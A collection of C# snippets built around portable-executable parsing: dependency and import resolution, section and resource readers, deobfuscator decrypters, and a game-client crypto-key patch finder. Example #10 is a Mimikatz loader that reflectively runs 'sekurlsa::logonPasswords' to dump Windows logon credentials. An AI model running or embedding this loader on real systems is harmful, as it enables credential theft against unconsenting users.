Example #1
0
 internal ResourceDirectory(PeImage image, uint offset, ResourceDirectoryEntry parentEntry, ResourceDirectoryEntry[] childEntries, PE.Structures.IMAGE_RESOURCE_DIRECTORY rawDirectory)
 {
     this.image = image;
     this.ParentEntry = parentEntry;
     this.ChildEntries = childEntries;
     this.offset = offset;
     this.rawDirectory = rawDirectory;
 }
Example #2
0
 internal ResourceDirectory(PeImage image, uint offset, ResourcesReader reader, ResourceDirectoryEntry parentEntry, PE.Structures.IMAGE_RESOURCE_DIRECTORY rawDirectory)
 {
     this._image = image;
     this.ParentEntry = parentEntry;
     this._offset = offset;
     this._fileOffset = offset + image.ParentAssembly._ntHeader.OptionalHeader.DataDirectories[(int)DataDirectoryName.Resource].TargetOffset.FileOffset;
     this._rawDirectory = rawDirectory;
     this._reader = reader;
 }
Example #3
0
 internal Section(PE.PeHeaderReader reader,
     uint headeroffset, 
     string name,
     uint roffset,
     uint rsize,
     uint voffset,
     uint vsize,
     uint flags)
 {
     this.name = name;
     this.roffset = roffset;
     this.rsize = rsize;
     this.voffset = voffset;
     this.vsize = vsize;
     this.flags = flags;
     this.headeroffset = headeroffset;
     this.headerreader = reader;
     assembly = reader.assembly;
 }
Example #4
0
            public TranslationContext(TypeRef resultType, PE.Instruction[] instructions, IImSeq<PE.ExceptionHandlingClause> handlers)
            {
                Parent = null;
                Start = 0;

                ResultType = resultType;
                Instructions = instructions;
                Handlers = handlers;

                var offsetToIndex = new Map<int, int>();
                for (var i = 0; i < instructions.Length; i++)
                {
                    if (offsetToIndex.ContainsKey(instructions[i].Offset))
                        throw new InvalidOperationException("instructions share same offset");
                    offsetToIndex.Add(instructions[i].Offset, i);
                }
                OffsetToIndex = offsetToIndex;

                var tryOffsets = new Set<int>();
                var indexToHandler = new Map<int, PE.ExceptionHandlingClause>();
                var indexToFilter = new Map<int, PE.ExceptionHandlingClause>();
                foreach (var ehc in handlers)
                {
                    if (!tryOffsets.Contains(ehc.TryOffset))
                        tryOffsets.Add(ehc.TryOffset);
                    var i = OffsetToIndex[ehc.HandlerOffset];
                    indexToHandler.Add(i, ehc);
                    if (ehc.Flags == PE.CorILExceptionClause.Filter)
                    {
                        var j = OffsetToIndex[ehc.FilterOffset];
                        indexToHandler.Add(j, ehc);
                    }
                }
                TryOffsets = tryOffsets;
                IndexToHandler = indexToHandler;
                IndexToFilter = indexToFilter;
            }
Example #5
0
 public DecrypterBase(PE.PeImage peImage, CodeHeader codeHeader)
 {
     this.peImage = peImage;
     this.codeHeader = codeHeader;
     endOfMetadata = peImage.rvaToOffset(peImage.Cor20Header.metadataDirectory.virtualAddress + peImage.Cor20Header.metadataDirectory.size);
 }
Example #6
0
 public ProDecrypter(PE.PeImage peImage, CodeHeader codeHeader)
     : base(peImage, codeHeader)
 {
     for (int i = 0; i < 4; i++)
         key[i] = be_readUint32(codeHeader.decryptionKey, i * 4);
 }
        private void ProcessClrImports(Dictionary <string, ImportContext> NewTreeContexts, PE AnalyzedPe, ImportContext ImportModule)
        {
            List <PeImportDll> PeImports = AnalyzedPe.GetImports();

            // only mscorre triggers clr parsing
            string User32Filepath = Path.Combine(FindPe.GetSystemPath(this.Pe), "mscoree.dll");

            if (ImportModule.PeFilePath != User32Filepath)
            {
                return;
            }

            var resolver = new DefaultAssemblyResolver();

            resolver.AddSearchDirectory(RootFolder);

            // Parse it via cecil
            AssemblyDefinition PeAssembly = null;

            try
            {
                PeAssembly = AssemblyDefinition.ReadAssembly(AnalyzedPe.Filepath);
            }
            catch (BadImageFormatException)
            {
                MessageBoxResult result = MessageBox.Show(
                    String.Format("Cecil could not correctly parse {0:s}, which can happens on .NET Core executables. CLR imports will be not shown", AnalyzedPe.Filepath),
                    "CLR parsing fail"
                    );

                return;
            }

            foreach (var module in PeAssembly.Modules)
            {
                // Process CLR referenced assemblies
                foreach (var assembly in module.AssemblyReferences)
                {
                    AssemblyDefinition definition;
                    try
                    {
                        definition = resolver.Resolve(assembly);
                    }
                    catch (AssemblyResolutionException)
                    {
                        ImportContext AppInitImportModule = new ImportContext();
                        AppInitImportModule.PeFilePath       = null;
                        AppInitImportModule.PeProperties     = null;
                        AppInitImportModule.ModuleName       = Path.GetFileName(assembly.Name);
                        AppInitImportModule.ApiSetModuleName = null;
                        AppInitImportModule.Flags            = ModuleFlag.ClrReference;
                        AppInitImportModule.ModuleLocation   = ModuleSearchStrategy.ClrAssembly;
                        AppInitImportModule.Flags           |= ModuleFlag.NotFound;

                        if (!NewTreeContexts.ContainsKey(AppInitImportModule.ModuleName))
                        {
                            NewTreeContexts.Add(AppInitImportModule.ModuleName, AppInitImportModule);
                        }

                        continue;
                    }

                    foreach (var AssemblyModule in definition.Modules)
                    {
                        Debug.WriteLine("Referenced Assembling loading " + AssemblyModule.Name + " : " + AssemblyModule.FileName);

                        // Do not process twice the same imported module
                        if (null != PeImports.Find(mod => mod.Name == Path.GetFileName(AssemblyModule.FileName)))
                        {
                            continue;
                        }

                        ImportContext AppInitImportModule = new ImportContext();
                        AppInitImportModule.PeFilePath       = null;
                        AppInitImportModule.PeProperties     = null;
                        AppInitImportModule.ModuleName       = Path.GetFileName(AssemblyModule.FileName);
                        AppInitImportModule.ApiSetModuleName = null;
                        AppInitImportModule.Flags            = ModuleFlag.ClrReference;
                        AppInitImportModule.ModuleLocation   = ModuleSearchStrategy.ClrAssembly;

                        Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(
                            this.Pe,
                            AssemblyModule.FileName,
                            this.SxsEntriesCache,
                            this.CustomSearchFolders,
                            this.WorkingDirectory
                            );
                        if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND)
                        {
                            AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2;
                            AppInitImportModule.PeFilePath   = ResolvedAppInitModule.Item2.Filepath;
                        }
                        else
                        {
                            AppInitImportModule.Flags |= ModuleFlag.NotFound;
                        }

                        if (!NewTreeContexts.ContainsKey(AppInitImportModule.ModuleName))
                        {
                            NewTreeContexts.Add(AppInitImportModule.ModuleName, AppInitImportModule);
                        }
                    }
                }

                // Process unmanaged dlls for native calls
                foreach (var UnmanagedModule in module.ModuleReferences)
                {
                    // some clr dll have a reference to an "empty" dll
                    if (UnmanagedModule.Name.Length == 0)
                    {
                        continue;
                    }

                    Debug.WriteLine("Referenced module loading " + UnmanagedModule.Name);

                    // Do not process twice the same imported module
                    if (null != PeImports.Find(m => m.Name == UnmanagedModule.Name))
                    {
                        continue;
                    }



                    ImportContext AppInitImportModule = new ImportContext();
                    AppInitImportModule.PeFilePath       = null;
                    AppInitImportModule.PeProperties     = null;
                    AppInitImportModule.ModuleName       = UnmanagedModule.Name;
                    AppInitImportModule.ApiSetModuleName = null;
                    AppInitImportModule.Flags            = ModuleFlag.ClrReference;
                    AppInitImportModule.ModuleLocation   = ModuleSearchStrategy.ClrAssembly;

                    Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(
                        this.Pe,
                        UnmanagedModule.Name,
                        this.SxsEntriesCache,
                        this.CustomSearchFolders,
                        this.WorkingDirectory
                        );
                    if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND)
                    {
                        AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2;
                        AppInitImportModule.PeFilePath   = ResolvedAppInitModule.Item2.Filepath;
                    }

                    if (!NewTreeContexts.ContainsKey(AppInitImportModule.ModuleName))
                    {
                        NewTreeContexts.Add(AppInitImportModule.ModuleName, AppInitImportModule);
                    }
                }
            }
        }
Example #8
0
        // default search order :
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx
        //
        // if (SafeDllSearchMode) {
        //      -1. Sxs manifests
        //      0. KnownDlls list
        //      1. Loaded PE folder
        //      2. C:\Windows\(System32 | SysWow64 )
        //      3. 16-bit system directory   <-- ignored
        //      4. C:\Windows
        //      5. %pwd%
        //      6. AppDatas
        //      }
        public static Tuple <ModuleSearchStrategy, string> FindPeFromDefault(PE RootPe, string ModuleName, SxsEntries SxsCache)
        {
            bool   Wow64Dll     = RootPe.IsWow64Dll();
            string RootPeFolder = Path.GetDirectoryName(RootPe.Filepath);
            string FoundPePath  = null;

            Environment.SpecialFolder WindowsSystemFolder = (Wow64Dll) ?
                                                            Environment.SpecialFolder.SystemX86 :
                                                            Environment.SpecialFolder.System;
            String WindowsSystemFolderPath = Environment.GetFolderPath(WindowsSystemFolder);


            // -1. Look in Sxs manifest (copious reversing needed)
            // TODO : find dll search order
            if (SxsCache.Count != 0)
            {
                SxsEntry Entry = SxsCache.Find(SxsItem =>
                                               string.Equals(SxsItem.Name, ModuleName, StringComparison.OrdinalIgnoreCase)
                                               );

                if (Entry != null)
                {
                    return(new Tuple <ModuleSearchStrategy, string>(ModuleSearchStrategy.SxS, Entry.Path));
                }
            }


            // 0. Look in well-known dlls list
            // HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs
            // https://blogs.msdn.microsoft.com/larryosterman/2004/07/19/what-are-known-dlls-anyway/
            String KnownDll = Phlib.GetKnownDlls(Wow64Dll).Find(x => string.Equals(x, ModuleName, StringComparison.OrdinalIgnoreCase));

            if (KnownDll != null)
            {
                return(new Tuple <ModuleSearchStrategy, string>(
                           ModuleSearchStrategy.WellKnownDlls,
                           Path.Combine(WindowsSystemFolderPath, KnownDll)
                           ));
            }


            // 1. Look in application folder
            FoundPePath = FindPeFromPath(ModuleName, new List <string>(new string[] { RootPeFolder }), Wow64Dll);
            if (FoundPePath != null)
            {
                return(new Tuple <ModuleSearchStrategy, string>(
                           ModuleSearchStrategy.ApplicationDirectory,
                           FoundPePath
                           ));
            }

            // {2-3-4}. Look in system folders
            List <String> SystemFolders = new List <string>(new string[] {
                WindowsSystemFolderPath,
                Environment.GetFolderPath(Environment.SpecialFolder.Windows)
            }
                                                            );

            FoundPePath = FindPeFromPath(ModuleName, SystemFolders, Wow64Dll);
            if (FoundPePath != null)
            {
                return(new Tuple <ModuleSearchStrategy, string>(
                           ModuleSearchStrategy.WindowsFolder,
                           FoundPePath
                           ));
            }

            // 5. Look in current directory
            // Ignored for the time being since we can't know from
            // where the exe is run
            // TODO : Add a user supplied path emulating %cwd%


            // 6. Look in local app data (check for python for exemple)



            // 7. Find in PATH
            string        PATH        = Environment.GetEnvironmentVariable("PATH");
            List <String> PATHFolders = new List <string>(PATH.Split(';'));

            FoundPePath = FindPeFromPath(ModuleName, PATHFolders, Wow64Dll);
            if (FoundPePath != null)
            {
                return(new Tuple <ModuleSearchStrategy, string>(
                           ModuleSearchStrategy.Environment,
                           FoundPePath
                           ));
            }


            // 8. Check if it's an absolute import
            if (File.Exists(ModuleName))
            {
                return(new Tuple <ModuleSearchStrategy, string>(
                           ModuleSearchStrategy.Fullpath,
                           ModuleName
                           ));
            }


            return(new Tuple <ModuleSearchStrategy, string>(
                       ModuleSearchStrategy.NOT_FOUND,
                       null
                       ));
        }
        /// <summary>
        /// Background processing of a single PE file.
        /// It can be lengthy since there are disk access (and misses).
        /// </summary>
        /// <param name="NewTreeContexts"> This variable is passed as reference to be updated since this function is run in a separate thread. </param>
        /// <param name="newPe"> Current PE file analyzed </param>
        private void ProcessPe(List <ImportContext> NewTreeContexts, PE newPe)
        {
            List <PeImportDll> PeImports = newPe.GetImports();

            Environment.SpecialFolder WindowsSystemFolder = (this.Pe.IsWow64Dll()) ?
                                                            Environment.SpecialFolder.SystemX86 :
                                                            Environment.SpecialFolder.System;
            string User32Filepath  = Path.Combine(Environment.GetFolderPath(WindowsSystemFolder), "user32.dll");
            string MsCoreeFilepath = Path.Combine(Environment.GetFolderPath(WindowsSystemFolder), "mscoree.dll");

            foreach (PeImportDll DllImport in PeImports)
            {
                ImportContext ImportModule = new ImportContext();
                ImportModule.PeFilePath       = null;
                ImportModule.PeProperties     = null;
                ImportModule.ModuleName       = DllImport.Name;
                ImportModule.ApiSetModuleName = null;
                ImportModule.Flags            = 0;
                if (DllImport.IsDelayLoad())
                {
                    ImportModule.Flags |= ModuleFlag.DelayLoad;
                }



                // Find Dll in "paths"
                Tuple <ModuleSearchStrategy, PE> ResolvedModule = BinaryCache.ResolveModule(this.Pe, DllImport.Name, this.SxsEntriesCache);
                ImportModule.ModuleLocation = ResolvedModule.Item1;
                if (ImportModule.ModuleLocation != ModuleSearchStrategy.NOT_FOUND)
                {
                    ImportModule.PeProperties = ResolvedModule.Item2;
                    ImportModule.PeFilePath   = ResolvedModule.Item2.Filepath;
                }

                // special case for apiset schema
                ImportModule.IsApiSet = (ImportModule.ModuleLocation == ModuleSearchStrategy.ApiSetSchema);
                if (ImportModule.IsApiSet)
                {
                    ImportModule.ApiSetModuleName = BinaryCache.LookupApiSetLibrary(DllImport.Name);
                }

                // add warning for appv isv applications
                if (String.Compare(DllImport.Name, "AppvIsvSubsystems32.dll", StringComparison.OrdinalIgnoreCase) == 0 ||
                    String.Compare(DllImport.Name, "AppvIsvSubsystems64.dll", StringComparison.OrdinalIgnoreCase) == 0)
                {
                    if (!this._DisplayWarning)
                    {
                        MessageBoxResult result = MessageBox.Show(
                            "This binary use the App-V containerization technology which fiddle with search directories and PATH env in ways Dependencies can't handle.\n\nFollowing results are probably not quite exact.",
                            "App-V ISV disclaimer"
                            );

                        this._DisplayWarning = true; // prevent the same warning window to popup several times
                    }
                }

                NewTreeContexts.Add(ImportModule);


                // AppInitDlls are triggered by user32.dll, so if the binary does not import user32.dll they are not loaded.
                if (ImportModule.PeFilePath == User32Filepath)
                {
                    string AppInitRegistryKey = (this.Pe.IsWow64Dll()) ?
                                                "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows" :
                                                "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows";

                    int    LoadAppInitDlls = (int)Registry.GetValue(AppInitRegistryKey, "LoadAppInit_DLLs", 0);
                    string AppInitDlls     = (string)Registry.GetValue(AppInitRegistryKey, "AppInit_DLLs", "");

                    if ((LoadAppInitDlls != 0) && (AppInitDlls != ""))
                    {
                        // Extremely crude parser. TODO : Add support for quotes wrapped paths with spaces
                        foreach (var AppInitDll in AppInitDlls.Split(' '))
                        {
                            Debug.WriteLine("AppInit loading " + AppInitDll);

                            // Do not process twice the same imported module
                            if (null != PeImports.Find(module => module.Name == AppInitDll))
                            {
                                continue;
                            }

                            ImportContext AppInitImportModule = new ImportContext();
                            AppInitImportModule.PeFilePath       = null;
                            AppInitImportModule.PeProperties     = null;
                            AppInitImportModule.ModuleName       = AppInitDll;
                            AppInitImportModule.ApiSetModuleName = null;
                            AppInitImportModule.Flags            = 0;
                            AppInitImportModule.ModuleLocation   = ModuleSearchStrategy.AppInitDLL;



                            Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(this.Pe, AppInitDll, this.SxsEntriesCache);
                            if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND)
                            {
                                AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2;
                                AppInitImportModule.PeFilePath   = ResolvedAppInitModule.Item2.Filepath;
                            }

                            NewTreeContexts.Add(AppInitImportModule);
                        }
                    }
                }


                // if mscoree.dll is imported, it means the module is a C# assembly, and we can use Mono.Cecil to enumerate its references
                if (ImportModule.PeFilePath == MsCoreeFilepath)
                {
                    var resolver = new DefaultAssemblyResolver();
                    resolver.AddSearchDirectory(RootFolder);

                    AssemblyDefinition PeAssembly = AssemblyDefinition.ReadAssembly(newPe.Filepath);

                    foreach (var module in PeAssembly.Modules)
                    {
                        // Process CLR referenced assemblies
                        foreach (var assembly in module.AssemblyReferences)
                        {
                            AssemblyDefinition definition = resolver.Resolve(assembly);

                            foreach (var AssemblyModule in definition.Modules)
                            {
                                Debug.WriteLine("Referenced Assembling loading " + AssemblyModule.Name + " : " + AssemblyModule.FileName);

                                // Do not process twice the same imported module
                                if (null != PeImports.Find(mod => mod.Name == Path.GetFileName(AssemblyModule.FileName)))
                                {
                                    continue;
                                }

                                ImportContext AppInitImportModule = new ImportContext();
                                AppInitImportModule.PeFilePath       = null;
                                AppInitImportModule.PeProperties     = null;
                                AppInitImportModule.ModuleName       = Path.GetFileName(AssemblyModule.FileName);
                                AppInitImportModule.ApiSetModuleName = null;
                                AppInitImportModule.Flags            = ModuleFlag.ClrReference;
                                AppInitImportModule.ModuleLocation   = ModuleSearchStrategy.ClrAssembly;

                                Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(this.Pe, AssemblyModule.FileName, this.SxsEntriesCache);
                                if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND)
                                {
                                    AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2;
                                    AppInitImportModule.PeFilePath   = ResolvedAppInitModule.Item2.Filepath;
                                }

                                NewTreeContexts.Add(AppInitImportModule);
                            }
                        }

                        // Process unmanaged dlls for native calls
                        foreach (var UnmanagedModule in module.ModuleReferences)
                        {
                            // some clr dll have a reference to an "empty" dll
                            if (UnmanagedModule.Name.Length == 0)
                            {
                                continue;
                            }

                            Debug.WriteLine("Referenced module loading " + UnmanagedModule.Name);

                            // Do not process twice the same imported module
                            if (null != PeImports.Find(m => m.Name == UnmanagedModule.Name))
                            {
                                continue;
                            }



                            ImportContext AppInitImportModule = new ImportContext();
                            AppInitImportModule.PeFilePath       = null;
                            AppInitImportModule.PeProperties     = null;
                            AppInitImportModule.ModuleName       = UnmanagedModule.Name;
                            AppInitImportModule.ApiSetModuleName = null;
                            AppInitImportModule.Flags            = ModuleFlag.ClrReference;
                            AppInitImportModule.ModuleLocation   = ModuleSearchStrategy.ClrAssembly;

                            Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(this.Pe, UnmanagedModule.Name, this.SxsEntriesCache);
                            if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND)
                            {
                                AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2;
                                AppInitImportModule.PeFilePath   = ResolvedAppInitModule.Item2.Filepath;
                            }

                            NewTreeContexts.Add(AppInitImportModule);
                        }
                    }
                }
            }
        }
Example #10
0
        /// <summary>
        /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command.
        /// </summary>
        /// <param name="Command">Mimikatz command to be executed.</param>
        /// <returns>Mimikatz output.</returns>
        public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords")
        {
            // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames()));
            if (MimikatzPE == null)
            {
                string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames();
                if (IntPtr.Size == 4 && MimikatzPE == null)
                {
                    if (PEBytes32 == null)
                    {
                        PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll");
                        if (PEBytes32 == null)
                        {
                            return("");
                        }
                    }
                    MimikatzPE = PE.Load(PEBytes32);
                }
                else if (IntPtr.Size == 8 && MimikatzPE == null)
                {
                    if (PEBytes64 == null)
                    {
                        PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll");
                        if (PEBytes64 == null)
                        {
                            return("");
                        }
                    }
                    MimikatzPE = PE.Load(PEBytes64);
                }
            }
            if (MimikatzPE == null)
            {
                return("");
            }
            IntPtr functionPointer = MimikatzPE.GetFunctionExport("powershell_reflective_mimikatz");

            if (functionPointer == IntPtr.Zero)
            {
                return("");
            }

            MimikatzType mimikatz = (MimikatzType)Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType));
            IntPtr       input    = Marshal.StringToHGlobalUni(Command);

            try
            {
                IntPtr output = IntPtr.Zero;
                Thread t      = new Thread(() =>
                {
                    try
                    {
                        output = mimikatz(input);
                    }
                    catch (Exception e)
                    {
                        Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                    }
                });
                t.Start();
                t.Join();
                Marshal.FreeHGlobal(input);
                if (output == IntPtr.Zero)
                {
                    return("");
                }
                string stroutput = Marshal.PtrToStringUni(output);
                PInvoke.Win32.Kernel32.LocalFree(output);
                return(stroutput);
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                return("");
            }
        }
Example #11
0
        private void DumpFile(string target, bool verbose)
        {
            PE  pe;
            var sb = new StringBuilder();

            try
            {
                pe = new PE(target);
            }
            catch (UnauthorizedAccessException)
            {
                Console.WriteLine(Path.GetFileName(target) + ": Unauthorized access exception");
                return;
            }

            sb.AppendLine(Path.GetFileName(pe.FileName) + ":");

            if (verbose)
            {
                sb.AppendLine(Indent + "Path: " + pe.FileName);
            }

            sb.Append(Indent + "Attr: ");

            if (!pe.IsPEFile)
            {
                sb.AppendLine("Not a portable executable");
                sb.AppendLine();
                return;
            }

            string language = pe.IsManaged ? "Pure Managed" : "Native";

            if (pe.IsManaged && !pe.IsILOnly)
            {
                language = "Mixed Managed";
            }
            sb.Append(language);

            string machine = pe.Machine.ToString();

            sb.Append(Delimiter + machine);

            string subsystem = pe.Subsystem.ToString();

            sb.Append(Delimiter + subsystem);

            if (pe.IsKernelMode)
            {
                sb.Append(Delimiter + "Kernel Mode");
            }

            if (pe.IsResourceOnly)
            {
                sb.Append(Delimiter + "Resource Only");
            }

            sb.Append(Delimiter + "Link " + pe.LinkerVersion.ToString());

            sb.AppendLine(); // Close comma-separated attributes line

            sb.Append(Indent + "Pdb : ");
            Pdb pdb = null;

            try
            {
                pdb = new Pdb(pe.FileName);
            }
            catch (PdbException pdbParseException)
            {
                sb.AppendLine(pdbParseException.ExceptionCode.ToString());
            }

            if (pdb != null)
            {
                if (verbose)
                {
                    sb.AppendLine(pdb.PdbLocation);
                }
                else
                {
                    sb.AppendLine(Path.GetFileName(pdb.PdbLocation));
                }
            }

            sb.AppendLine(Indent + "SHA1: " + pe.SHA1Hash);

            Console.Out.WriteLineAsync(sb.ToString());
        }
Example #12
0
        private bool InitClientVersion()
        {
            const int MAX_STEPS_FORWARD  = 4;
            const int MIN_CLIENT_VERSION = 1000;
            const int MAX_CLIENT_VERSION = 5000;

            var  pattern = Pattern.Transform("68 C3 12 00 00");
            long offset;

            if (!Pattern.Find(_data, pattern, out offset))
            {
                Log.Error("Failed to find resource offset.");
                return(false);
            }

            MemoryStream ms = (MemoryStream)PE.GetStream();

            ms.Seek(offset, SeekOrigin.Begin);
            byte[] buff = new byte[4];
            ms.Read(buff, 0, 4, 1);
            int resourceId = BitConverter.ToInt32(buff, 0);

            if (resourceId != 4803)
            {
                Log.Error($"Invalid resource id: {resourceId}. Are we at the right place? :)");
                return(false);
            }

            // https://c9x.me/x86/html/file_module_x86_id_35.html
            byte[] cmps = { 0x81, 0x3D };

            long originOffset = ms.Position;
            long stepsBack    = 72;
            long startOffset  = originOffset - stepsBack;

            foreach (byte cmp in cmps)
            {
                ms.Position = startOffset;

                // while it's not a compare instruction, keep reading byte bites ;)
                do
                {
                    ms.Read(buff, 0, 1);
                    if (ms.Position > originOffset)
                    {
                        Log.Error("Could not find a compare instruction to determine the right offset for the client version.");
                        return(false);
                    }
                } while (buff[0] != cmp);

                for (int i = 0; i < MAX_STEPS_FORWARD; i++)
                {
                    ms.Read(buff, 0, 4);
                    int version = BitConverter.ToInt32(buff, 0);
                    if (version > MIN_CLIENT_VERSION && version < MAX_CLIENT_VERSION)
                    {
                        ClientVersion = version;
                        Log.Info("Found client internal version v" + ClientVersion);
                        return(true);
                    }
                    ms.Position -= 3;
                }
            }

            Log.Error("Could not find client version.");
            return(false);
        }
 public void IncLum(PE pe)
 {
     CommonOptions.InsCC cc = pe.CommonParameters.CCParameters;
     cc.MulLum = Min(cc.MulLum + 0.1f, CommonOptions.InsCC.MulLumMax);
 }
 public void DecLum(PE pe)
 {
     CommonOptions.InsCC cc = pe.CommonParameters.CCParameters;
     cc.MulLum = Max(cc.MulLum - 0.1f, CommonOptions.InsCC.MulLumMin);
 }
 public void Init(PE pe)
 {
     enableFlagIndexer = new EnableFlagIndexer(pe);
     initialized       = true;
 }
 public EnableFlagIndexer(PE pe)
 {
     this.pe = pe;
 }
Example #17
0
        private bool InitKeysOffsets()
        {
            CryptoPatches.Clear();

            // "N3TableBase - Can't open file(read) File Handle..."
            var  pattern = Pattern.Transform("4E 33 54 61 62 6C 65 42 61 73 65 20 2D 20 43"); // "N3TableBase - C"
            long offsetLogWrite;

            if (!Pattern.Find(_data, pattern, out offsetLogWrite))
            {
                Log.Error("Unable to find string offset for 'N3TableBase - Can't open file'.");
                return(false);
            }

            // Generate pattern for finding all references to that string
            string logWriteVA         = Calculator.OffsetToVA((ulong)offsetLogWrite).ToString("X8");
            string logWriteGenPattern = "68"; // push

            for (int i = logWriteVA.Length - 1; i >= 0; --i)
            {
                logWriteGenPattern += i % 2 == 0 ? " " + logWriteVA.Substring(i, 2) : "";
            }
            logWriteGenPattern += " E8"; // call

            Log.Info($"Generated N3TableBase string pattern result: {logWriteGenPattern}");
            var         patternStrRefRegion = Pattern.Transform(logWriteGenPattern);
            List <long> regionStrRefOffsets;

            if (!Pattern.FindAll(_data, patternStrRefRegion, out regionStrRefOffsets))
            {
                Log.Error("No references to N3TableBase string were found.");
                return(false);
            }

            Log.Info($"Found {regionStrRefOffsets.Count} N3TableBase string region offsets.");

            var patDecryptRegions = new Pattern.Byte[][] {
                // push ?? <- DWORD as short
                // push ?? <- DWORD as short
                // push ?? <- DWORD as short
                Pattern.Transform("68 ?? ?? 00 00 68 ?? ?? 00 00 68 ?? ?? 00 00 ?? ?? E8"),

                //Pattern.Transform("FF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 55 FF"),
                //Pattern.Transform("FF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 56 FF"),
                //Pattern.Transform("FF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 57 FF"),

                // call ?? <- ReadFile
                // push ebp|esi|edi
                // call ?? <- CloseHandle
                // xor reg,reg
                Pattern.Transform("FF ?? ?? ?? ?? ?? 55 FF"),
                Pattern.Transform("FF ?? ?? ?? ?? ?? 56 FF"),
                Pattern.Transform("FF ?? ?? ?? ?? ?? 57 FF"),
            };

            const int ENCRYPT_REGION_MIN        = 50;
            const int ENCRYPT_REGION_MAX        = 700;
            const int ESTIMATED_DES_RANGE_BYTES = 280;

            bool detectedDesEncryption = false;

            foreach (long regionStrRefOffset in regionStrRefOffsets)
            {
                long decryptRegionOffset = -1;
                bool isInlinedFunction   = false;
                for (int i = 0; i < patDecryptRegions.Length; i++)
                {
                    if (!Pattern.Find(_data, patDecryptRegions[i], out decryptRegionOffset,
                                      regionStrRefOffset + ENCRYPT_REGION_MIN, regionStrRefOffset + ENCRYPT_REGION_MAX))
                    {
                        continue;
                    }

                    // Estimate average distance by bytes, to know whether there is more code for DES encryption before XOR.
                    if (!detectedDesEncryption && (decryptRegionOffset - regionStrRefOffset) > ESTIMATED_DES_RANGE_BYTES)
                    {
                        detectedDesEncryption = true;
                    }

                    // First pattern: we know it's a function that got inlined by the compiler.
                    // +5 for ptr & +2 for xor reg,reg
                    isInlinedFunction = i != 0;
                    if (isInlinedFunction)
                    {
                        CanUpdateKey2        = false;
                        decryptRegionOffset += patDecryptRegions[i].Length + 5 + 2;
                    }

                    break;
                }

                if (decryptRegionOffset == -1)
                {
                    Log.Warn($"Could not find decryption offset from the string offset 0x{Calculator.OffsetToVA((ulong)regionStrRefOffset):X8}");
                    Log.Warn("Skipping to the next one...");
                    continue;
                }

                CryptoKey[] keys = new CryptoKey[CryptoPatch.KEYS_COUNT];

                MemoryStream ms = (MemoryStream)PE.GetStream();
                ms.Seek(decryptRegionOffset, SeekOrigin.Begin);

                if (isInlinedFunction)
                {
                    if (!InitInlinedKeys(keys, ms))
                    {
                        Log.Error("Failed to find inlined keys offsets.");
                        return(false);
                    }
                }
                else
                {
                    for (int i = CryptoPatch.KEYS_COUNT - 1; i >= 0; i--)
                    {
                        DWORD dword;
                        ms.Position++;
                        dword   = ms.ReadStructure <DWORD>();
                        keys[i] = new CryptoKey((ms.Position - 4), (ushort)dword.sValue1,
                                                (long)Calculator.OffsetToVA((ulong)(ms.Position - 4)));
                    }
                }
                long keyVA = (long)Calculator.OffsetToVA((ulong)decryptRegionOffset);
                var  patch = new CryptoPatch(decryptRegionOffset, keyVA, keys, isInlinedFunction);
                CryptoPatches.Add(patch);
            }

            // Update the container cryption type, so we know what we deal with
            CryptoPatches.CryptoType = detectedDesEncryption ? CryptoType.DES_XOR : CryptoType.XOR;

            if (CryptoPatches.Count != regionStrRefOffsets.Count)
            {
                Log.Error("Mismatch count of Crypto-Patches count vs N3TableBase string offsets.");
                return(false);
            }

            if (!VerifyAllMatchedKeys(CryptoPatches))
            {
                return(false);
            }

            return(true);
        }
Example #18
0
 public virtual bool Within(PE.ExceptionHandlingClause ehc)
 {
     return Parent != null && Parent.Within(ehc);
 }
Example #19
0
 public PEImports(PE _Application)
 {
     Application = _Application;
     Imports     = Application.GetImports();
 }
Example #20
0
 public FilterTranslationContext(TranslationContext parent, int start, PE.ExceptionHandlingClause clause)
     : base(parent, start)
 {
     Clause = clause;
 }
Example #21
0
 public PEExports(PE _Application)
 {
     Application = _Application;
     Exports     = Application.GetExports();
 }
Example #22
0
        public static void DumpImports(PE Pe, Action <IPrettyPrintable> Printer)
        {
            PEImports Imports = new PEImports(Pe);

            Printer(Imports);
        }
Example #23
0
 public SxsDependencies(PE _Application)
 {
     Application = _Application;
     SxS         = SxsManifest.GetSxsEntries(Application);
 }
        public unsafe override void Build()
        {
